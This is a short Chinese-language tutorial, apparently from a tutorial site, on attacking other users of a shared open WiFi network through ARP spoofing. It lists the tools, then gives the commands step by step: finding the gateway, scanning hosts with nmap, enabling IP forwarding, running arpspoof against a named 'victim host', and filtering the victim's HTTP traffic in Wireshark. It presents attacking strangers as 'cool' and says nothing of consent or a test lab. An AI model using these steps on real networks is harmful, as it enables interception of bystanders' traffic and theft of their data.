📜  如何破解开放式 WiFi?

📅  最后修改于: 2021-10-19 05:17:10             🧑  作者: Mango

我们知道,如今如果我们中的任何人找到免费的开放式 WiFi,我们的幸福感就会更上一层楼。攻击使用我们正在使用的相同开放 WiFi 的人听起来不是很酷吗?如果是,那么让我们看看有什么方法可以让这件事发生。

我们将需要以下工具:

  1. Kali Linux 或其他安装了所需工具的Linux:Kali Linux 是高级渗透测试 Linux 发行版,用于渗透测试、道德黑客攻击和网络安全评估。
  2. Nmap: Nmap 是一个免费的开源网络扫描器。它用于通过发送数据包和分析响应来发现网络上的主机和服务。
  3. arpspoof:ARP代表A ddress [R esolution P rotocol。每当我们将设备连接到 WiFi 网络时,ARP 都会为我们分配一个唯一的 IP 地址,并将我们的设备 MAC 地址存储在 ARP 表中,arpspoof 只是欺骗这些请求。
  4. Wireshark:它是一个开源数据包分析器,用于网络分析和故障排除。

破解开放式 WiFi 的步骤

步骤 1:连接到目标网络并在终端中运行以下命令:

ip route

IP路由命令

上面的命令用于查找我们的流量流经的网关地址。

步骤 2:下一步是使用 nmap 通过执行以下命令来查找连接到网络的不同主机:

nmap -sP -n "gateway address/ip range"

Nmap 命令

使用此命令,我们将找到所有连接到目标网络的主机及其 IP 地址和 MAC 地址。

第 3 步:使用以下命令启用 IP 转发:

echo 1 > /proc/sys/net/ipv4/ip_forward

第 4 步:为了在我们的设备上获取受害者流量,我们将使用 arpspoof 命令。对于 arpspoof 命令,我们需要知道我们执行攻击的接口,为此运行以下命令:

ifconfig

ifconfig 命令

现在运行以下命令:

arpspoof -i wlp3s0 -t "victim host ip address" -r "our ip address"

我们已经欺骗受害者的设备,他的路由器地址已更改为我们的 IP 地址,现在我们可以拦截所有流量。

第 5 步:最后拦截受害者的流量,我们将使用 Wireshark,我们所要做的就是使用受害者的 IP 地址。假设我们只想拥有 HTTP 流量,我们可以使用以下查询:

http && ip.addr == "victim's ip address"

拦截 HTTP 流量